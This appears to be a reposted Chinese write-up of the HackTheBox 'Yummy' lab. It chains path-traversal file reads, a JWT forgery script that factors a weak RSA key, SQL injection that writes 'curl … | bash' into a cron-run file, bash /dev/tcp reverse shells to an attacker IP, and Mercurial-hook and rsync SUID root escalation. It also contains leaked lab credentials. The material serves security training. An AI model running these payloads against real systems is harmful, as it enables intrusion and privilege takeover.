当前位置: 首页 > article >正文

[Meachines] [Hard] Yummy 任意文件下载+JWT签名绕过+SQLI+定时任务劫持+hg权限提升+rsync权限提升

信息收集

IP AddressOpening Ports
10.10.11.36TCP:22,80

$ nmap -p- 10.10.11.36 --min-rate 1000 -sC -sV -Pn

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 a2:ed:65:77:e9:c4:2f:13:49:19:b0:b8:09:eb:56:36 (ECDSA)
|_  256 bc:df:25:35:5c:97:24:f2:69:b4:ce:60:17:50:3c:f0 (ED25519)
80/tcp open  http    Caddy httpd
|_http-server-header: Caddy
|_http-title: Did not follow redirect to http://yummy.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTTP && YUMMY

# echo '10.10.11.36 yummy.htb'>>/etc/hosts

http://yummy.htb/

image-1.png

注册登录后来到home页面餐桌预定…

image-2.png

http://yummy.htb/dashboard#hero

image-3.png

image-4.png

文件读取…修改/export/…/…/…/…/…/…/…/etc/passwd

image-5.png

修改/export/…/…/…/…/…/…/…/etc/crontab

image-6.png

*/1 * * * * www-data /bin/bash /data/scripts/app_backup.sh
*/15 * * * * mysql /bin/bash /data/scripts/table_cleanup.sh
* * * * * mysql /bin/bash /data/scripts/dbmonitor.sh

修改/export/…/…/…/…/…/…/…/data/scripts/app_backup.sh
修改/export/…/…/…/…/…/…/…/data/scripts/table_cleanup.sh
修改/export/…/…/…/…/…/…/…/data/scripts/dbmonitor.sh

image-7.png

username:chef password:'3wDo7gSRZIwIHRxZ!'

修改/export/…/…/…/…/…/…/…/var/www/backupapp.zip

image-8.png

进入admindashboard页面条件…跟进verify_token函数

image-11.png

image-12.png

image-10.png

这里e和q已经给我们了,所以重新生成私钥,并且生成JWT

from Crypto.PublicKey import RSA
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
import sympy
import jwt
import base64

original_jwt = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6IkRvbmVAZ2cuY29tIiwicm9sZSI6ImN1c3RvbWVyX2U0MmMxYWE5IiwiaWF0IjoxNzMxNDI0NzAwLCJleHAiOjE3MzE0MjgzMDAsImp3ayI6eyJrdHkiOiJSU0EiLCJuIjoiOTEwMTQ3ODA5MDE0OTU0OTQ5NTk5MjMzNDAxMzg4NjIwODc2MzM5NTQ0MDI1NDMxMjMxOTk2NzI0MTAyOTczMTE3NTk4MDc0ODYzNzI0NjAxOTkxNDM2MjEzMjgwNzM5NjY3MzA2NTM4NzgwMDEwODcyMzU2NzMwMjk2NTgzMDg2NDM1NDU5MzEyMjM4ODY0NzkxMzczMjI4MzE0NzYxOTMzMDE0NDMxMDA2Mjk1NDE2ODgzMDUzMjI4Mjk0OTkyMDQ0ODI2ODU5NjMxNTE5NjIzNDUyNTU5ODEyNTgwNDI2ODcxMTc1NTI4Mjg1OTEwOTg1MzgwNzcyMTc2MTU1NjM3MDkwOTA2MjU0MDk1MDIxOTYxNjIyMTQ1ODAwNTM1MTg0MjIxMjU5MzE4ODk5NDc0NTg4OTIzNzciLCJlIjo2NTUzN319.A9t2-17CX9hnHPI6N0hEDem_Eh_o4SvDpQ1J3vqYJqbnMixtZtQW-aQy51QGAhqn6lF4o5cDVAbmcqpiHCRj8HNevhbeaojDF1LTJmY2G-vmXtOCZrd2mfsq8Bf34ViMmhtAOB1lBViNA-HyV52HwX8EMIfZ5WfT7Ab17bjp6Uem_VA"
s = original_jwt.split(".")[1].encode()
s = base64.b64decode(s + b'=' * (-len(s) % 4)).decode()
n = int(s.split('"n":')[1].split('"')[1])
e = 65537   # Example public exponent
factors = sympy.factorint(n)  # Returns a dictionary of prime factors
p, q = list(factors.keys())
phi_n = (p - 1) * (q - 1)
d = pow(e, -1, phi_n)
key = RSA.construct((n, e, d, p, q))
signing_key = key.export_key()
decoded_payload = jwt.decode(original_jwt, signing_key, algorithms=["RS256"], options={"verify_signature": False})
decoded_payload['role'] = 'administrator'
new_jwt = jwt.encode(decoded_payload, signing_key, algorithm='RS256')

print(new_jwt)

image-13.png

SQL Injection && Shell as mysql

GET /admindashboard?s=1&o=ASC' HTTP/1.1
Host: yummy.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Referer: http://yummy.htb/admindashboard
Cookie: X-AUTH-Token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6IkRvbmVAZ2cuY29tIiwicm9sZSI6ImN1c3RvbWVyX2U0MmMxYWE5IiwiaWF0IjoxNzMxNDI0NzAwLCJleHAiOjE3MzE0MjgzMDAsImp3ayI6eyJrdHkiOiJSU0EiLCJuIjoiOTEwMTQ3ODA5MDE0OTU0OTQ5NTk5MjMzNDAxMzg4NjIwODc2MzM5NTQ0MDI1NDMxMjMxOTk2NzI0MTAyOTczMTE3NTk4MDc0ODYzNzI0NjAxOTkxNDM2MjEzMjgwNzM5NjY3MzA2NTM4NzgwMDEwODcyMzU2NzMwMjk2NTgzMDg2NDM1NDU5MzEyMjM4ODY0NzkxMzczMjI4MzE0NzYxOTMzMDE0NDMxMDA2Mjk1NDE2ODgzMDUzMjI4Mjk0OTkyMDQ0ODI2ODU5NjMxNTE5NjIzNDUyNTU5ODEyNTgwNDI2ODcxMTc1NTI4Mjg1OTEwOTg1MzgwNzcyMTc2MTU1NjM3MDkwOTA2MjU0MDk1MDIxOTYxNjIyMTQ1ODAwNTM1MTg0MjIxMjU5MzE4ODk5NDc0NTg4OTIzNzciLCJlIjo2NTUzN319.A9t2-17CX9hnHPI6N0hEDem_Eh_o4SvDpQ1J3vqYJqbnMixtZtQW-aQy51QGAhqn6lF4o5cDVAbmcqpiHCRj8HNevhbeaojDF1LTJmY2G-vmXtOCZrd2mfsq8Bf34ViMmhtAOB1lBViNA-HyV52HwX8EMIfZ5WfT7Ab17bjp6Uem_VA
Upgrade-Insecure-Requests: 1

image-14.png

在dbmonitor.sh中提及

if [ -f /data/scripts/dbstatus.json ]; then
    if grep -q "database is down" /data/scripts/dbstatus.json 2>/dev/null; then
        /usr/bin/echo "The database was down at $timestamp. Sending notification."
        /usr/bin/echo "$service was down at $timestamp but came back up." | /usr/bin/mail -s "$service was down!" root
        /usr/bin/rm -f /data/scripts/dbstatus.json
    else
        /usr/bin/rm -f /data/scripts/dbstatus.json
        /usr/bin/echo "The automation failed in some way, attempting to fix it."
        latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)
        /bin/bash "$latest_version"

我们需要进入/data/scripts/dbstatus.json并且内容不为database is down,并且在/data/scripts/中创建文件fixer-vXXXX,自动获取最新的脚本/bin/bash执行

s=1&o=ASC%3b+select+"1"+INTO+OUTFILE++'/data/scripts/dbstatus.json'+%3b

image-15.png

s=1&o=ASC%3b+select+"curl+10.10.16.49/reverse.sh+|bash%3b"+INTO+OUTFILE++'/data/scripts/fixer-v999'+%3b

image-16.png

Shell as www-data user Shell

在之前crontab任务中存在一个

*/1 * * * * www-data /bin/bash /data/scripts/app_backup.sh

$ mv /data/scripts/app_backup.sh /data/scripts/app_backup.sh,bak;echo '/bin/bash -i >& /dev/tcp/10.10.16.49/10032 0>&1'>/data/scripts/app_backup.sh;chmod +x /data/scripts/app_backup.sh

image-17.png

Shell as qa user Shell

$ cat /var/www/app-qatesting/.hg/app.py.i

image-18.png

username:qa password:jPAd!XQCtn8Oc@2B

image-19.png

User.txt

29f50f3048576e46471fd7d0ca6ae0f1

Shell as dev user shell

$ sudo -l

image-20.png

$ cd /tmp;mkdir .hg;chmod 777 .hg;cp /home/qa/.hgrc /tmp/.hg/

image-21.png

#! /usr/bin/bash
bash -i >& /dev/tcp/10.10.16.17/10032 0>&1
# /tmp/reverse.sh

$ sudo -u dev /usr/bin/hg pull /home/dev/app-production/

image-22.png

Privilege Escalation && RSYNC

行为:
从 /home/dev/app-production/ 将所有文件和子目录(但不包括 .hg)同步到 /opt/app/。
如果目标目录中已有文件,rsync 会根据文件修改时间和大小进行检查,只更新有变化的文件。
不会删除 /opt/app/ 中已存在但源目录中已删除的文件(因为未指定 --delete 参数)。

image-23.png

$ cp /bin/bash /home/dev/app-production/bash

$ chmod u+s /home/dev/app-production/bash

将所有文件和目录的所有者改为 root 用户,所属组改为 root 组

$ sudo -u root /usr/bin/rsync -a --exclude=.hg /home/dev/app-production/* --chown root:root /opt/app/;/opt/app/bash -p

image-24.png

Root.txt

e36e19c406c5a8e93ba0041833276421


http://www.kler.cn/a/398619.html

相关文章:

  • WebRTC视频 03 - 视频采集类 VideoCaptureDS 上篇
  • 在 Node.js 中解决极验验证码:使用 Puppeteer 自动化
  • eBPF on Go
  • spark 设置hive.exec.max.dynamic.partition不生效
  • CSS Modules中的 :global
  • 树状数组+概率论,ABC380G - Another Shuffle Window
  • Scala的Array(1)
  • 服务端高并发分布式结构进阶之路
  • QEMU 模拟器中运行的 Linux 系统
  • word 中长公式换行 / 对齐 | Mathtype 中长公式换行拆分 | latex 中长公式换行
  • linux笔记(防火墙)
  • 常见的压缩数据结构
  • 软考之面向服务架构SOA-通信方法
  • DP动态规划基础题(Kadane算法)
  • springboot vue海洋馆预约系统源码和答辩PPT论文
  • PostgreSQL学习总结(13)—— PostgreSQL 15.8 如何成就数据库性能王者?
  • 【MySQL】MySQL数据库入门:构建你的数据基石
  • scp命令详解
  • 树状数组+概率论,ABC380G - Another Shuffle Window
  • ZooKeeper单机、集群模式搭建教程
  • 力扣 LeetCode 145. 二叉树的后序遍历(Day6:二叉树)
  • 读书笔记《Lean In 向前一步》
  • SpringBoot接收前端传递参数
  • C++设计思想-001-设计模式-单例模式
  • Controller Baseband commands速览
  • Mac上详细配置java开发环境和软件(更新中)